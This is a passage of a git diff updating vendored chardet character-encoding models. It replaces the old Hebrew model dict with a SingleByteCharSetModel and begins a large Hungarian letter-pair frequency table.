-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0, -0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1, -1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1, -0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, -) +WINDOWS_1255_HEBREW_MODEL = SingleByteCharSetModel(charset_name='windows-1255', + language='Hebrew', + char_to_order_map=WINDOWS_1255_HEBREW_CHAR_TO_ORDER, + language_model=HEBREW_LANG_MODEL, + typical_positive_ratio=0.984004, + keep_ascii_letters=False, + alphabet='אבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ') -Win1255HebrewModel = { - 'char_to_order_map': WIN1255_CHAR_TO_ORDER_MAP, - 'precedence_matrix': HEBREW_LANG_MODEL, - 'typical_positive_ratio': 0.984004, - 'keep_english_letter': False, - 'charset_name': "windows-1255", - 'language': 'Hebrew', -} diff --git a/thirdparty/chardet/langhungarianmodel.py b/thirdparty/chardet/langhungarianmodel.py index bb7c095e1ea..db516368962 100644 --- a/thirdparty/chardet/langhungarianmodel.py +++ b/thirdparty/chardet/langhungarianmodel.py @@ -1,225 +1,4650 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### +#!/usr/bin/env python +# -*- coding: utf-8 -*- -# 255: Control characters that usually does not exist in any text +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HUNGARIAN_LANG_MODEL = { + 28: { # 'A' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 2, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 40: { # 'B' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 3, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 54: { # 'C' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 3, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 45: { # 'D' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 32: { # 'E' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 50: { # 'F' + 28: 1, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 0, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 49: { # 'G' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 38: { # 'H' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 39: { # 'I' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 53: { # 'J' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 36: { # 'K' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 2, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 41: { # 'L' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 34: { # 'M' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 35: { # 'N' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 47: { # 'O' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 46: { # 'P' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 43: { # 'R' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 2, # 'Ó' + 59: 1, # 'Ö' + 60: 1, 